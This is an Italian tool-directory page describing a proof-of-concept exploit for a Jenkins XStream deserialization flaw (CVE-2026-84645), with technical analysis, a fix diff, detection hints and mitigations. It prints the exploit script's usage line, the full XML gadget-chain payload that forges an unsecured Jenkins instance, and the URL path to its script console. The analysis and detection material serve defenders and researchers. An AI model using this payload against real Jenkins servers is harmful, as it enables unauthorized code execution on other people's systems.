Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC e analisi. Richiede Item/Configure; interessa le versioni weekly <= 2.579 / LTS <= 2.568.2 | Kitploit
Strumenti/GitHubGitHub/mhtsec/cve-2026-84645
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC e analisi. Richiede Item/Configure; interessa le versioni weekly <= 2.579 / LTS <= 2.568.2

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-84645 — Deserializzazione RCE di Jenkins PersistenceRoot (SECURITY-3972)

PoC per la vulnerabilità di deserializzazione di Jenkins corretta il 2026-09-02 (avviso). Un account con privilegi limitati in possesso di Item/Configure su un singolo job può trasformarlo in esecuzione arbitraria di codice come utente OS di Jenkins.

InteressatiJenkins weekly ≤ 2.579, LTS ≤ 2.568.2
Correttiweekly 2.580, LTS 2.568.3
Prerequisitoautenticato, Item/Configure su ≥ 1 job
ImpattoRCE come account di servizio Jenkins
CVSS8.8 (Alto)

Solo per ricerca di sicurezza autorizzata su istanze di test vulnerabili.

Utilizzo

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

Lo script verifica che l'account non abbia permessi di script (atteso 403), invia il config.xml modificato, quindi instrada attraverso il grafo di oggetti iniettato verso una Script Console la cui ACL è controllata dall'attaccante.

Analisi tecnica

Causa principale

Due comportamenti di lunga data dello stack XStream di Jenkins (hudson.util.XStream2 / RobustReflectionConverter) si combinano:

  1. I tipi PersistenceRoot potevano essere deserializzati come valori di campi annidati. JEP-200 limita quali classi possono essere deserializzate, ma non dove nel grafo di oggetti. Qualsiasi campo tipizzato come (o assegnabile a) un sottotipo di PersistenceRoot veniva deserializzato come un normale oggetto. Poiché XStream istanzia tramite Unsafe.allocateInstance (nessun costruttore), un attaccante poteva forgiare un secondo singleton hudson.model.Hudson con valori di campo arbitrari — inclusa authorizationStrategy.
  2. Anche i campi transient venivano deserializzati (il comportamento di compatibilità "deserializza nei campi transient come XStream 1.1.3"). I riferimenti agli oggetti necessari per l'instradamento delle richieste Stapler (FingerprintAction.build, Run.project, AbstractItem.parent) sono transient, quindi gli oggetti iniettati diventano raggiungibili via HTTP — la dicitura "gestisce successivamente le richieste HTTP via Stapler" dell'avviso.

Catena di gadget

POST /job/<job>/config.xml (richiede solo Item/Configure) inietta negli <actions> del job:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot annidato (difetto 1); campo transient (difetto 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; 2° Jenkins forgiato -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- evita NPE in Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Stapler instrada quindi la richiesta nel grafo forgiato:

Segmento URLRisolve aPercorso del codice
/job/<job>/fingerprintsFingerprintAction iniettatourlName == "fingerprints" + Actionable.getDynamic()
/runFreeStyleBuild forgiatoFingerprintAction.getRun() legge il transient build
/parentFreeStyleProject forgiatoRun.getParent() legge final transient project
/parenthudson.model.Hudson forgiatoAbstractItem.getParent() legge il transient parent
/scriptTextScript Console dell'istanza forgiataJenkins.doScriptText() → _doScript(..., getACL())

Il bypass dell'autorizzazione: doScriptText controlla ADMINISTER contro l'istanza che ha ricevuto la richiesta, cioè getACL() dell'Hudson forgiato, che deriva dal proprio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede tutto. La strategia di autorizzazione del controller reale non partecipa mai. Poiché nessun costruttore viene eseguito durante la deserializzazione, gli inizializzatori di campo non si applicano; il payload deve impostare esplicitamente authorizationStrategy (e properties).

Analisi della correzione (2.580)

Diffing jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal ora rifiuta di deserializzare un sottotipo di PersistenceRoot in un campo annidato (CriticalXStreamException: "Gli oggetti PersistenceRoot sono radici di documento e non devono apparire come valori di campi annidati"), consentendo solo tre forme sicure: back-reference XStream reference=, replacer resolves-to non persistenti (Run$Replacer, User$Replacer, …) e riferimenti scalari di converter a valore singolo.
  • Nuove annotazioni @XStreamNotDeserializable / @XStreamDeserializable più TRANSIENT_FIELD_STRICT_MODE rafforzano la deserializzazione dei campi transient per campo.
  • Jenkins.readResolve() ora rifiuta di deserializzare un secondo singleton Jenkins e ha ottenuto un replacer writeReplace().
  • Test di regressione: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Note

  • L'iniezione è in memoria (transient): il riavvio di Jenkins la cancella, ma può essere reinviata a piacimento.
  • Rilevamento: payload POST /job/*/config.xml inattesi contenenti Fingerprinter_-FingerprintAction / hudson.model.Hudson annidati, o richieste a /job/*/fingerprints/run/parent/parent/scriptText.

Mitigazione

  • Aggiornare a weekly ≥ 2.580 / LTS ≥ 2.568.3.
  • Limitare Item/Configure ad amministratori fidati nella matrice di autorizzazione.
  • Controllare i log di accesso per i pattern sopra; riavviare le istanze sospette e verificare i file config.xml dei job per eventuale inquinamento.

Riferimenti

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Scarica lo strumento